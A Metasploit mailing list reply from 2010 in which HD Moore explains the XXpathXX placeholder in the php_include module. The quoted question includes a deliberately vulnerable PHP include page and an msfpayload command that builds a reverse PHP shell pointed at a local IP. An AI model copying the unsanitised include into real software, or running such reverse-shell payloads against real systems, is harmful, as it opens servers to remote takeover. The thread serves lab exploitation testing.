Metasploit mailing list archives

Previous By Date Next
Previous By Thread Next

Re: php_include confusion

From: HD Moore <hdm () metasploit com>
Date: Mon, 12 Jul 2010 22:18:12 -0500
On 7/12/2010 6:07 PM, Jeffs wrote:

index_test.php looks like this:

<html>
<body>
<? require $_GET['include'] ?>
</body>
</html>


and include.php.txt was created properly with msfpayload as such.

./msfpayload php/reverse_php LHOST=192.168.1.101 R >
/var/www/include.php.txt

Both files on the are the web server in the proper directories.

If someone could clarify the XXpathXX value for me that would be greatly
appreciated.


In this case:

msf> set URIPATH http://server/index.php?include=XXpathXX

The moduel will replace XXpathXX with
http://your_host:random_port/random_uri.php which handle the rest.
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework
Previous By Date Next
Previous By Thread Next

Current thread: